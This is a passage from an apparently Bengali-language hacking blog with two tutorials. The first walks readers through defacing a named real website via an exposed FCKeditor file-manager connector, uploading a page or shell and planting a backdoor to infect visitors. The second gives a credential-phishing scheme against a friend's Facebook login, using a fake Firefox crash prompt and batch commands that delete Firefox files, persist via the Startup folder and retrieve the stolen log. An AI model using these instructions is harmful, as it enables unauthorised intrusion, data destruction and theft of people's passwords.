২। এটা লিখার পড়ে হাজার হাজার সাইট খুজে পাবেন এখন দায়িত্য আপনার সেগুলো থেকে পারফেক্ট একটা খুজে বের করা সব ত আর আমি করে দিতে পারবো না সময় ও কষ্ট করতে হবে নিজেকে।
৩। যাই হক আমি একটা খুজে পেছি ঘুরে দেখে নিন আগে সাইট টা আজকে এখানে আমরা লাইভ ডিফেস করে শিখব। http://www.schoolshopper.com.au/
যেমন নিচের লিংক তা পেয়েছি এই সাইটের।
http://www.schoolshopper.com.au/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html


(এই লিংক টা একেক সময় একেক রকম হবে বুঝতে পারছেন? মানে সব ঠিক থাকবে সামনে দিয়ে সাইটের নেম চেঞ্জ হবে আরকি। মাঝে মাঝে path ও চেঞ্জ হবে (site.com/abc/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html) আমি খুজে পাইছি এটা আপনাকে অন্য একটা খুজে বের করতে হবে অথবা এখানে করেই প্রেক্টিস করেন।
৪। এবার নোটপ্যাড ওপেন করে কিছু একটা লিখুন অথবা নিজের বানানো কোন ইমেজ মানে ডিফেস পেজ থাকলে ত কাজ হইল ই ।
৫। নোটপ্যাড এর মাঝে যা ইচ্ছা লিখুন সেভ করুন pupa.html নামে (ডিসেফ পেজ বানানো না থাকলে এটা দিয়ে করতে পারবেন সহজে আরকি)
৬। এবার এই লিংক এ যান।
http://www.schoolshopper.com.au/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
৭। নিচের ছবির মত একটা পেজ আসবে

৮। এবার Connector ঘরের থেকে PHP সিলেক্ট করে দিন নিচের ছবির মত।

৯। এবার আপনার বানানো এইচটিএমএল ফাইল অথবা ডিফেস পেজ থাকলে সেটা আপলোড করুন। অথবা আপনি শেল আপলোড করতে পারেন।
১০। এবার দেখুন সাইটের এই লিংক এ গিয়ে আপনার ডিফেস পেজ দেখা যাবে।
www.site.com/nijerfile.html
১১। এইযে দেখুন আমি একটি পেজ ডিফেস করেছি। উপরের নিয়মে আপনিও করুন এবং বন্ধুদের দেখিয়ে দিন আপনিও একজন হকার :p থুক্কু হ্যাকার :p
http://www.schoolshopper.com.au/pupa.html
১২। আপনি চাইলে আপনার আপলোড করা ফাইলের মাঝে ভাইরাস অথবা ব্যাকডোর দিয়ে দিতে পারবেন যখনি কেউ লিংক ওপেন করবে তখনি আপনার ভাইরাসের শিকার হয়ে যাবে।
সতর্কতাঃ-
(পোস্ট টা আসলে সিরিয়াস ভাবে লিখি নাই তাই হয়ত মনে হতে পারে সিরিয়াস না, আসলে এভাবেই অনেক সাইট হ্যাক করা হয়, একি ভাবে বিভিন্য গুগল ডরক ইউস করে হ্যাক করা যায় বিভিন্য সাইটের জন্য। আরেক কথা অবশ্যই মনে রাখবেন চেষ্টা করবেন কারো ডিফেস পেজ ভিসিট না করার জন্য। আমি জিবনেও করি না। কারন ১২ নং পয়েন্ট এর মাঝে বলে দিয়েছি। সবাই ভালো থাকুন খুব সামনে হ্যাকিং এর কারখানা নিয়ে হাজির হব।)

জটিলভাবে বোকা বানিয়ে হ্যাক করুন বন্ধুর FaceBook একাউন্ট!!!

হ্যাকিং শিখতে খুব আগ্রহী এমন মানুষের কোন অভাব নেই। বিশেষ করে, কারো যদি FaceBook একাউন্ট হ্যাক করতে পারতেন, তাহলে হয়ত আপনার জীবন সার্থক হত। কিন্তু আমরা সকলেই জানি, হ্যাকিং কোন সহজ বিষয় নয়। শিখতে অনেক কষ্ট হয়।



আমি কোন এক্সপার্ট হ্যাকার না হলেও আজ আপনাদের একটা হ্যাকিং শিখাব। আশা করি শিরোনাম দেখেই আপনি বুঝতে পারছেন আমি কিসের হ্যাকিং এর কথা বলছি। আমি যে পদ্ধতি বলব, তা খুবই সহজ। এমনকি শ্রেষ্ঠ এন্টিভাইরাস ও আমার এই কারসাজি ধরতে পারবে না। তবে শর্ত একটাই, আপনার ভিকটিমের কম্পিউটারে আপনার এক্সেস থাকতে হবে। আপনার বন্ধু কি তার কম্পিউটারে আপনাকে হাত দিতে দিবে না, তা হয় নাকি? অনেকেই তো আছেন বন্ধুর কম্পিউটারে ঘন্টার পর ঘন্টা বসে থাকেন।



এখন চলে আসি মূল কথায়। আমি C++ দিয়ে স্বহস্তে একটি প্রোগ্রাম বানিয়েছি যা মানুষকে বোকা বানাতে সক্ষম, হ্যাঁ, নিজে তৈরি করেছি। আবার বলিয়েন না যে অন্য জায়গা থেকে কপি-পেস্ট মারছি। এমন উলটাপালটা বুদ্ধি আমার মাথা ছাড়া কারো মাথায় আসে না। C++ জানা থাকলে ভাল। তবে সমস্যা নেই, কারন আমি কোডটা + ফাইলটা দিয়ে দিব। যেটা খুশি ব্যবহার করিয়েন।



যেভাবে কাজ করবেঃ



আগে বলে রাখি, জিনিসটা খুবই সিম্পল। আপনার বন্ধু যখন কম্পিউটার রান করবে, তখন প্রথমে একটা মেসেজ দেখাবে “Serious Error Occured”. তারপর একটা কনসোল দেখাবে, যেখানে লেখা থাকবে – “FireFox has crashed on the last start for one or more reason. Some scripts may fail to protect your login credentials from 3rd Parties. To help protect your login id, please verify again. The following verification codes are valunerable: FaceBook.

Please re-verify your FaceBook account. This is for your own safety.”

এরপর Username এবং Pass চাওয়া হবে। আপনার বন্ধু যদি এই কনসোলের কথা বিশ্বাস করে, তাহলেই কেল্লা ফতে। সে লেখার সময় একেবারে Login Pass লেখার মত অনুভব করবে। সে রকম কারসাজিই আমি করেছি।

আর তারপর, তারপর কি???????

তারপর তার UserName এবং Pass একটা ফাইলে সেভ হয়ে যাবে। আপনার কাজ হচ্ছে পরের দিন এসে ফাইলটি নিয়ে নেয়া। মজার না?

নিচে কনসোলটি স্ক্রিনশট:

যেভাবে করবেনঃ

এজন্য C++ লাগবে। তবে না জানলে সমস্যা নেই, কারন আমি ফাইলটি দিয়ে দেব। কোডটি চলুন দেখে নিই: http://codetidy.com/2300



ফাইলটি ডাউনলোড করতেঃ http://www.mediafire.com/?0y734mbykpixa97



এখন জেনে নিই কীভাবে কাজটি করবেন।

প্রথমে একটা ব্যাচ ফাইল বানান, যেখানে নিম্নলিখিত কোডগুলো লিখবেন:

taskkill /f /im firefox.exe

erase /f /q “C:\Program Files\Mozilla FireFox\*.*”

copy “crash.exe” “C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\”

exit



আপনার কাজ শেষ। এবার এই ব্যাচ ফাইল .bat এবং crash.exe ফাইলটি আপনার পেনড্রাইভে নিয়ে বন্ধুর কম্পিউটারে যান। এবার সুযোগ বুঝে ব্যাচ ফাইলটি রান করুন। এর ফলে crash.exe আপনার বন্ধুর কম্পিউটারের Startup এ চলে যাবে। পরবর্তীত কম্পিউটার রান করলেই সে কনসোল দেখতে পাবে। সে যখন ফায়ারফক্স রান করবে, তখন ফায়ারফক্স কাজ করবে না। এর ফলে সে ভাববে সত্যিই কিছু হয়েছে এবং সে পাস ও লগিন আইডি দিয়ে দিবে।

এই পাস ও লগিন আইডি C:\Log.txt নামক ফাইলে সেভ হবে। আপনার কাজ হবে পরেরদিন এসে সুযোগ বুঝে Log.txt ফাইলটি নিয়ে নেয়া। জিনিসটা সহজ করতে একটা ব্যাচ ফাইল তৈরি করতে পারেনঃ

copy “C:\Log.txt” “J:\”

erase /f /q “C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\crash.exe”



উপরের কোডে J:\ এর জায়গায় আপনার পেনড্রাইভ ড্রাইভার লেটার বসিয়ে দিন। বিশেষ করে আপনার বন্ধুর কম্পিউটারে পেনড্রাইভ ঢুকালে কোন ড্রাইভার লেটার শো করে তা বসাবেন। চলুন দেখে নিই Log.txt ফাইলটি।

দেখলেন তো, উক্ত ফাইলে এভাবেই আপনার বন্ধুর login id সেভ হয়ে থাকবে।



কেমন লাগল? বুদ্ধিটা একটু উলটা হলেও ভাল। তবে হ্যাঁ, সিকিউরিটিতে এক্সপার্ট এমন কারো কাছে এই কাজ করার চেষ্টা কইরেন না, তাহলে ধরা খাবেন। আর হ্যাঁ, ব্যাচ কমান্ড গুলো কিন্তু শুধু Windows 7 এর ক্ষেত্রে প্রযোজ্য। XP হলে Directory একটু ভিন্ন, প্রয়োজন অনুযায়ী চেঞ্জ করে নিবেন।

Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More